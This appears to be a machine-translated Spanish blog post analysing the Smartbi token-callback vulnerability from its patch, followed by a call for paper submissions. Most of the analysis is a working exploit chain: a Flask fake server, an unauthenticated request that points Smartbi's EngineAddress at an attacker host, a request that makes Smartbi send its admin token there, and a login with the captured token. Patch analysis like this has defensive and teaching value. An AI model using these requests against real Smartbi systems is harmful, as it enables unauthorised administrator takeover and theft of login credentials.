Vulnerabilidad de devolución de llamada del token Smartbi para obtener credenciales de inicio de sesión

Hace algún tiempo, Smartbi solucionó oficialmente una vulnerabilidad de omisión de permisos. Los atacantes no autorizados pueden aprovechar esta vulnerabilidad para obtener un token de administrador y asumir por completo los privilegios de administrador. Entonces estudié los parches relevantes y los analicé.

Resultado del análisis 0x01

Según el análisis del parche, se obtienen los siguientes pasos de reproducción de vulnerabilidades

El primer paso es configurar EngineAddress como la dirección del servicio http en la máquina del atacante.

Primero, use python flask para construir un servidor falso, en el que solo está registrada la interfaz /api/v1/configs/engine/smartbitoken, que devuelve un cuerpo de respuesta json

from flask import Flask,jsonify,request


app = Flask(__name__)

@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
    print(request.json)
    return jsonify(hi="jello")

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)
490d999f208e6f01108dc50bac1b5fcf.png

Utilice el siguiente poc, configure EngineAddress en nuestra dirección de servidor falsa http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23

http://10.52.32.43:8000
6cfc045488db9b7fb330f9e16b4656c6.png

El segundo paso es activar smartbi para que envíe el token a la dirección del motor que acabamos de configurar.

Envía la siguiente solicitud

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10

experiment
7756caa338e28c08078da6e203440b6f.png

Después de enviar la solicitud correspondiente, podrá ver la solicitud que lleva el token en nuestro servidor falso.

3d283a1eaff0b1d8b6468743ffaedea4.png

El tercer paso es iniciar sesión con el token obtenido anteriormente.

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47

admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

Devolver verdadero indica que el inicio de sesión se realizó correctamente y que la cookie es una credencial legal.

a1ef9d0b7d845727674014a721f52a4a.png

proceso de análisis 0x02

Lea los parches relevantes, sabemos que esta vulnerabilidad está relacionada con /smartbix/api/monitor/setServiceAddress

9e58a445662360399f63f3157e7954a3.png

Si observamos más a fondo el método de parcheo de la clase RejectSmartbixSetAddress, podemos ver que está relacionado con el método getToken de la clase smartbix.datamining.service.MonitorService, este parche indica que si hay un método getToken en el método smartbix.datamining.service .MonitorService en el sistema, intercepta /smartbix/api/monitor/ Una serie de solicitudes de interfaz como setEngineAddress.

ee9ddff0ec62af075829156b3d6503c2.png

El análisis de la clase smartbix.datamining.service.MonitorService muestra, a partir de las anotaciones en el encabezado, que se puede acceder a todas las rutas bajo esta clase sin autenticación.

bff17148a390b371ad131930d7ea8eca.png

Ubique el token / de la ruta correspondiente al método getToken, genere un token dentro del método y envíe el token al ENGINE_ADDRESS configurado en la configuración del sistema cuando el parámetro de tipo de entrada sea experimento.

8af8e0c32591d1520558252abcceb12b.png 12042d505bbc00e045b77077e14d0901.png

Esto significa que siempre que ENGINE_ADDRESS sea controlable, podemos obtener un token legal de la ruta /smartbix/api/monitor/setServiceAddress del paquete de parche al método setEngineAddress. Podemos saber que este método puede configurar ENGINE_ADDRESS sin autorización.

00a5b962e5e0ff184390ec090142ec3d.png

Eso significa que solo necesita llamar a la interfaz /smartbix/api/monitor/setServiceAddress, configurar ENGINE_ADDRESS como nuestro servidor falso controlable y luego podrá obtener el token del mensaje de solicitud. (Después de probar esta ubicación, se descubre que la interfaz /api/v1/configs/engine/smartbitoken solicitada por el método POST debe implementarse en el servidor falso y el contenido de la respuesta es json). Después de obtener el token, puede llame al método /smartbix/api/monitor /login para iniciar sesión

cae3e6e4b0e2263bac086f82d10e9890.png

0x03 otras instrucciones

Lo anterior solo explica la situación de configurar ENGINE_ADDRESS para usar, y los pasos para configurar SERVICE_ADDRESS para usar son similares a los anteriores.

8706bc9e3c5b6f3a91e47745cd23bacc.jpeg

Convocatoria de manuscritos originales

Convocatoria para artículos técnicos originales, bienvenido a publicar

Correo electrónico de envío: [email protected]

Tipo de artículo: tecnología hacker geek, puntos de acceso a la seguridad de la información, investigación y análisis de seguridad, etc.

Si aprueba la revisión y la publica, puede obtener una remuneración que oscila entre 200 y 800 yuanes.

Para obtener más detalles, haz clic en mí para verlo.

fc5ce7f9f63d5eba83632b07fc6acdc2.gif

Práctica de campo de tiro, haga clic en "Leer el texto original"

Supongo que te gusta

Origin blog.csdn.net/qq_38154820/article/details/132463652
Recomendado
Clasificación